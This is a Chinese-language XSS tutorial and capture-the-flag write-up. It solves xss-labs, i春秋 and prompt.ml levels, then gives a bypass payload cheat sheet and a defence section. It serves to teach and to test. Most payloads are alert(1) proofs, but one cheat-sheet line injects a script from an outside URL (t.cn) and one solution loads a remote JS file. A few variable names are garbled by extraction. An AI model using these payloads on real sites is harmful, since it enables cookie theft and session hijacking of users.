XSS原理
跨站脚本攻击XSS(cross site scripting)。XSS是由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采用cookie窃取、会话劫持、钓鱼欺骗等各种攻击。 漏洞存在的主要原因:
- 参数输入未经过安全过滤
- 恶意脚本被输出到网页
- 用户的浏览器执行了恶意脚本
XSS漏洞分类
1.反射型XSS
也称非持久型、参数型跨站脚本。主要用于恶意脚本附加在URL地址的参数中。他需要欺骗用户点击链接才能出发XSS,一般容易出现搜索页面、输入框、URL参数处。反射型XSS大多数用来盗取用户的cookie信息。 
2.存储型XSS
存储型XSS写进数据库或文件等可以永久保存数据的介质中,存储型XSS通常发生在留言板等地方。在留言板位置留言将恶意代码写进数据库中。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。 
3.基于DOM的XSS
DOM-XSS是基于文档对象模型的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的,也属于反射型xss
XSS的危害
针对用户:窃取cookie,劫持会话,网络钓鱼,放马挖矿 针对WEB服务:劫持后台,篡改页面,传播蠕虫,内网扫描 
XSS漏洞的黑盒测试
尽可能找到一切用户可控并且能够输出在页面的代码中的地方,比如下面这些:
- URL的每个参数、URL本身、表单、搜索框、常见业务场景
- 重灾区:评论区、留言区、个人信息、订单信息等
- 针对型:站内信、网页即时通讯、私信、意见反馈
- 存在风险:是搜索框,当前目录、图片属性等
XSS漏洞的白盒测试
关于XSS的代码升级主要就是从接收参数的地方和一些关键词入手。 PHP中常用的接收参数的方法有
G
E
T
、
GET、
GET、POST、$REQUET等,可以搜索所有接收参数的地方,然后对接收到的数据进行跟踪,查看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。 也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,然后能否控制,如果从数据库中取得,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等
xss-labs
预备插件 Hackbar
可以在Chrome商店进行下载
level 1
简单构造脚本
http://localhost/xss-labs/level1.php?name=test

查看源代码

Level-2
预备知识:
htmlspecialchars():把预定义的字符转换为html实体 参数:
- ENT_COMPAT - 默认。仅编码双引号。
- ENT_QUOTES - 编码双引号和单引号。
- ENT_NOQUOTES - 不编码任何引号。
可转换实体 - & (和号)成为 &
- " (双引号)成为 "
- ’ (单引号)成为 ’
- < (小于)成为 <
- `> (大于)成为 >
尝试与第一关相同的方式进行注入,发现并没有弹窗
 查看网页源代码,发现<``> 被编码成html字符实体。猜测在服务器端使用了htmlspecialchars()函数对keyword参数的值进行了处理,那首先将标签闭合,然后再写入恶意代码 or 在标签内部 
http://localhost/xss-labs/level2.php?keyword="><script>alert(1)</script>&submit=%E6%90%9C%E7%B4%A2 
源码查看
htmlspecialchars()  上图源码可知,使用get方式传递到服务器端的keyword参数的值赋值给str变量,然后使用htmlspecialchars()函数对变量进行处理后显示到网页上。但是直接将变量值插入到input标签的value属性值中,因为并没有对敏感字符进行编码和过滤,所以可以通过构造实现XSS攻击
Level-3
正常尝试,发现尖括号被过滤掉。
巧用input标签
http://localhost/xss-labs/level3.php?keyword=’ οnclick='alert(1)&submit=%E6%90%9C%E7%B4%A2

源码查看

Level-4
简单构建点击事件
http://localhost/xss-labs/level4.php?keyword=" οnclick="alert(1) 
查看源码

Level-5
正常测试:发现展现出来后script,oneclick加上下划线
 
构造一个a标签,成功绕过
http://localhost/xss-labs/level5.php?keyword=" ><a href=javascript:alert(1)>xss</a>//
查看源码
 发现函数将<script 替换为<scri_pt 、on替换为o_n,这样我们的script不能使用,input的点击事件也不能使用。
Level-6
正常测试:
http://localhost/xss-labs/level6.php?keyword=<ScriPt>alert(1)</ScRIpt>
可以发现大小写没有过滤,那就简单了
使用大小写绕过过滤
http://localhost/xss-labs/level6.php?keyword=" oNclick="alert(1)
Level-7
正常测试:发现有大小写过滤了,然后将script替换为空白,则可以尝试双写script
http://localhost/xss-labs/level7.php?keyword="><scrscriptipt>alert(1)</scrscriptipt>

查看源代码
 首先将传入的参数进行转小写操作,然后对其中的特殊字符进行替换,替换为空白,这样就会双写就会将script拼接出来。
Level-8
实体编码,通过

javascript:alert(1)
查看源代码
 可以看出过滤的常见的敏感标签,那么就可以从实体编码入手,将javascript:alert(1)转换为实体编码,绕过过滤。
Level-9
基本测试:发现能使用的关键字都被过滤掉了
查看源码后发现,除了8关的过滤之外,还存在判断输入中是否存在http://

所以尝试脚本后面加上http://,结果发现自己忘记还过滤了script,那么关键字使用html实体编码
 
实体编码关键字绕过成功

Level-10
正常测试:发现将<>过滤,并且将输出的结果放在了h2标签内,感觉没戏了,然后看到有隐藏的input标签,查看是否存在
 
发现t_sort也是可以传递参数的,转向t_sort 的input标签,
http://localhost/xss-labs/level10.php?keyword=xxx&&t_sort=" οnclick="alert(1) " type="text


源码查看
 发现t_sort参数只是进行简单的<>过滤,也发现把输出的内容放在标签内,并且对敏感字进行转义杜绝大部分恶意代码。
Level-11
查看源代码;发现PHP $_SERVER[‘HTTP_REFERER’]
使用 $_SERVER[‘HTTP_REFERER’] 将很容易得到链接到当前页面的前一页面的地址。然后使用burpsite抓包增加referer参数 
使用burpsuite进行抓包,增加referer参数进行构造


Level-12

感觉和第11关差不多,看一下网页源码

感觉可以在user-agent上做文章,抓包改一下
  
可以看到构造成功,成功进入下一关
查看源码
 可以看见没有对user-agent的参数进行过滤,出现恶意代码;
Level-13
查看网页源代码,看到四个隐藏标签,然后尝试
http://10.4.209.122/xss-labs/level13.php?t_link=1&t_history=1&t_sort=1&t_cook=1

burpsuite抓包,发现cookie值可以构建错误代码

构建恶意语句
 
查看源代码
 从源代码中可以看出,在读取用户
s
t
r
11
=
str11=
str11=_COOKIE[“user”];的时候仅仅做了简单的<过滤,从而导致恶意代码构造成功。
Level-14
14关现在
Level-15
预备知识:angular js
先了解一下其具体的用法。
- 1、ng-include 指令用于包含外部的 HTML文件。
- 2、包含的内容将作为指定元素的子节点。
- 3、ng-include 属性的值可以是一个表达式,返回一个文件名。
- 4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
- 1.ng-include,如果单纯指定地址,必须要加引号
- 2.ng-include,加载外部html,script标签中的内容不执行
- 3.ng-include,加载外部html中含有style标签样式可以识别
了解了该指令的大致用法之后,我们就不得不思考一下,既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件了
注:angular js已经不支持在ng-include 里加载script标签:https://github.com/angular/angular.js/issues/3756
 可以看到成功触发弹窗了,而且在页面响应的下方还可以看到level1的页面。
查看源代码

Level-16
简单测试之后可以看到关键字script以及/符号、空格都被编码成同样的空格字符实体了。这样也没办法去闭合前面的标签了。所以先看看源文件的代码
查看源码


Level-17、Level-18、Level-19、Level-20
使用的是flash,现在已经被摒弃,所以就不进行实验了
i春秋 XSS闯关
Less-1
第一关估计就是简单的恶意脚本就可以
 
Less-2
进行正常测试,发现参数出现在脚本中,所以第一反应就是尝试逃逸出来,然后执行alert(1)

上才艺
http://eci-2zehd3kmbv84ufh9o4bk.cloudeci1.ichunqiu.com/level2?username=’;alert(1);//

Less-3
正常测试,发现和less2差不多

尝试使用Less2方法进行构造,结果发现单引号被转义

尝试双写单引号,绕过成功

看其他选手的题解,可以使用img标签构造恶意代码
http://eci-2zehd3kmbv84ufh9o4bk.cloudeci1.ichunqiu.com/level3?username=%3Cimg%20src=xxx%20οnerrοr=alert(1)%3E 
Less-4
首先查看网页源代码
<script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
测试jumpUrl参数,发现

构造恶意代码

Less-5
首先查看网页源代码,用出我的抠脚JS水平,大概解读出autosubmit参数,然后加上action就可以了。
<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
构造恶意代码
http://eci-2ze3t1nn5qtlrf73i9ki.cloudeci1.ichunqiu.com/level5?autosubmit=123&action=javascript:alert(1)
 OK,继续下一关
Less-6
着实有点难啊
正常测试
 
这。。。还放在了标签里面,并且对敏感字符做了实体编码。不会不会 查资料,原来这道题考的是AngularJS,还不会。。https://nosec.org/home/detail/4153.html
构造一个payload:
{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1} } };alert(1)//’);}}

最终拿到flag

prompt(1) 平台
http://prompt.ml/1
Less-0

简单构建恶意代码

Less-1

首先看到源代码,对<>以及内容进行空格替换。 那就要利用html会有一个自动的纠错的功能了,这里我使用了img标签

通过img标签的onerror进行构造恶意代码

通过
 通过svg标签加载prompt(1)
Less-2
查看源码发现过滤了=( 为空格

尝试使用实体编码绕过,使用svg标签可以加载实体编码

Less-3

查看源代码可以看见对-> 进行了过滤,主要思路就是要逃出注释区域

Less-4
 没有做出来,网上教程是加载本地js文件,但是我的没反应
Less-5

从过滤函数中可以看出,过滤掉了on和> focus,并且是gi,全局匹配,忽略大小写。但是没有忽略换行,所以可以换行,来绕过过滤函数

Less-6
 分析源码可以看到,大概是由#分割,前面赋给form.action,使method=post,后面以json格式赋给formdata,把formdata中的属性循环赋给了input。后面满足forms.action存在即执行提交,所以这里使用js伪协议。由于允许我们创建我们自己的输入,这些输入可以用来破坏窗体的action属性。由于DOM破坏,document.forms [0] .action将返回我们新创建的输入字段而不是实际的action属性,因此可以执行JavaScript。

Less-7

查看源码,发现#是用来隔离多个input标签的,所以可以使用注释来巧妙构建恶意代码
使用script标签

使用svg标签

Less-8

可以看出我们一定要逃离这一行,但是\r\n都被替换掉了,所以就想到使用转义进行替换。

尝试了一下
 这样肯定是不行的,然后打开网页终端,在终端里面使用换行或换段落的转义字符,发现是可以的。
上才艺

\u2028,是Unicode中的行分隔符。 \u2029,是Unicode中的段落分隔符。 –> 在 js 中可当注释使用
Less-9
 正则简单,就是将<后面的所有字符前全部加_,也就是将<script> 这样的标签替换为<_SCRIPT> ,toUpperCase() 不仅转换英文字母,也转换一些Unicode字符,比如将?传入就可以转换为S,这样就可以绕过。 直接构造<?cript>prompt(1)</?cript> 不行,因为javascript对大小写敏感,,不识别PROMPT(1),所以构造的payload为<?cript/?rc="xxx/1.js"></?cript> ,经过转换后就成了<h1><SCRIPT/SRC="HTTP://xxx/1.JS"></SCRIPT></h1> ,成功加载远程的js脚本。 
Less-A

只是进行了html编码,然后将prompt替换成alert,由于还将’替换为空,所以很好绕过
注:encodeURIComponent()不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ’ ( ) 。其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。

好的,通关思路到这就结束了!! 总结一下,xss攻击方式,以及常见的思路
xss攻击总结
xss常用语句
关于script
- 最基础测试
<script>alert('1');</script> - 当出现script替换为空格,尝试双写
<scrscriptipt> - 当出现script中间加‘_’,尝试大小写
<ScRipt> ;尝试使用ascii编码 - 当出现所有字母都转化为大写的时候,尝试使用
? ,大写会转化为大写S,当出现全部转换为大写的时候,会需要使用到外部网址进行加载,因为js是区分大小写的,<?cript/?rc="xxx/1.js"></?cript> - 当出现限制字符输入的时候,尝试使用短的字符串,或者尝试使用注释
- 当出现过滤
<>
关于on事件
onerror=
onclick=
onload=
onxxxxx=
绕过方法
- onerror+=
- onerror%0a=
- onerror%0d=
- onerror%09=
换行 %0a 回车 %0d tab %09
-
<IMG SRC="javascript:alert('XSS');"> -
<img src=1 onerror=alert(1) -
<svg/οnlοad=prompt(1);> -
<a href=javascript:alert(1)>xxx -
<img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> -
<img src=xοnerrοr=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
函数绕过
- (alert)(1);
- alert(1);
- alert`1 ``
XSS构造技巧
1.利用字符编码
2.绕过长度限制
可以利用事件(event)来缩短所需要的字节数onclick=alert(1)// 最好的办法是吧xss payload写到别处,再通过简短的代码加载这段xss Payload。 "location.hash"的内容不会再HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容,从而更好的隐藏了黑客真实的意图。
hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)
测试:  测试结果  某些情况下可以使用注释绕过长度限制
3.<base>标签
作用:定义网页面上的所有使用“相对路径”标签的hosting地址。 攻击者如果在页面插入base标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用相对路径的标签
4.window.name
window对象是浏览器的窗体,并非document对象,很多时候window对象不受通源策略的限制。攻击者可以利用这个对象实现跨域、跨页面传递数据。
XSS防御
htmlspecialchars函数
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
- ENT_COMPAT - 默认。仅编码双引号。
- ENT_QUOTES - 编码双引号和单引号。
- ENT_NOQUOTES - 不编码任何引号。
htmlentities函数
htmlentities() 函数把字符转换为 HTML 实体。
- ENT_COMPAT - 默认。仅编码双引号。
- ENT_QUOTES - 编码双引号和单引号。
- ENT_NOQUOTES - 不编码任何引号。
注:htmlentities 和 htmlspecialchars 的区别在于 htmlentities 会转化所有的 html character entity,而htmlspecialchars 只会转化手册上列出的几个 html character entity (也就是会影响 html 解析的那几个基本字符)。一般来说,使用 htmlspecialchars 转化掉基本字符就已经足够了,没有必要使用 htmlentities。
HttpOnly
输入检查
XSS Filter检查用户输入的数据中是否包含一些特殊字符,如果发现这些特殊字符,则将这些字符过滤或者编码。
输出检查
处理富文本的输出外,在变量输出到HTML页面时,可以使用编码或转移的方式来防御XSS攻击。
处理富文本
在标签的选择上,应该使用白名单,避免使用黑名单。禁止一些危险标签<iframe><script>、<base>、<form> 等
防御DOM Based XSS
DOM XSS是从javascript中输出数据到HTML页面里。正确防御是在‘$var’输出到<script> 时,应该执行一次javascriptEncode;其次在document.write输出到HTML页面时,要分具体情况看待:如果是输出到事件或者脚本,则再做一次javascriptEncode;如果输出到HTML内容或属性中,做一次HTMLEncode
触发DOM XSS的语句
- document.write()
- document.writeln()
- xxx.innerHTML=
- xxx.outerHTML=
- document.attachEvent()
- window.attachEvent()
- document.Location.replace()
- document.location.assign()
DOM XSS输入点
XSS可能出现在: HTML标签中 在HTML属性中 在script标签中 在事件中 在CSS中 在地址中
最后最后,XSS虽然复杂,但是可以彻底解决。所以在现在的网路上XSS基本上绝迹了。
补充:关于浏览器编码(圣经)务必熟读
解析顺序是这样的,URL 解析器,HTML 解析器, CSS 解析器,JS解析器
URL的解码是在后台服务检测之前的,可以理解为后台收到URL后会自动进行解码,然后才是执行开发人员编写的对URL中的值的检测函数,首先URL编码作用不在于绕过后台检测,但是当我们是GET方式提交数据时,而我们提交的数据中进行了实体编码,也就意味着存在&,#这样的特殊字符,这时就需要对这些特殊字符进行URL编码,这样才会保证正常解析,如果不进行URL编码的话,就会把+认为是空格了,而&也会是被认为用来连接URL中参数的连接符,故需要进行URL编码。如果是以POST方式传递值,就不需要进行URL编码了。
1.HTML解析(只要是在DOM节点里属性的值,都可以被HTML编码和解析)
浏览器接收到页面数据,开始进行HTML解析,构造DOM树。 所以,HTML 的分析器只能识别特定的词法规则,才能构建起DOM 树,这一块,HTML 不会做解码的工作,因为它做不了。所以,试图这样构造利用漏洞,是不可能的 <img src="http://www.xxx.com"
HTMl 解析器构建DOM Tree,在DOM 树构建完毕之后,这些HTML 实体编码的内容就会被解码,如果识别为实体编码的,会透明的解码: 
2.CSS解析(CSS的属性和值都可以进行CSS编码和解析,冒号:不可以)
CSS 解析器并不会等到所有的html都解析完成之后再去构建和布局render树。它是解析完一部分内容就显示一部分内容,同时,可能还在通过网络下载其余内容。
CSS 编码解析是用了一套不太正统的转义策略:用一个反斜杠,后边跟1~6位十六进制数字构成。,所以字母e 可以编码为 \65, \065,\000065。而因为这样,后边就不能直接紧跟数字或字母,否则会被当成转义里的内容处理,所以CSS 选择了空格作为终止标识,在解码的时候,再将空格去除。
3.JS解析(\uxxxx)只支持UNICODE,只有进入JS解析环境,才会进行JS编码解析,并且位于JS解析环境的,不会进行实体编码解析
转义编码应当只出现在标示符部分,不能用于对语法有真正影响的符号,也就是括号,或者是引号。(不包含使用DOM操作的情况),DOM操作中括号和引号可以进行JS转义。
4.DOM操作
在进行DOM操作时,会触发JS解析器,例如:
document.getElementById("pic1").innerHTML = "";
DOM 操作实际上是js强势介入 HTML 和CSS 的结果,导致HTML标签的属性和值都可以做JS编码和解析。
小结:如果想要能够进行实体编码解析,就必须不能破坏语法结构,比如不能对标签名称、<>=等具有语法结构的特殊字符进行实体编码,可以对比如对标签之间的文本进行实体编码、对标签的属性的值进行实体编码。
参考文献: https://blog.csdn.net/qq_41631096/article/details/104747992 白帽子讲web安全
|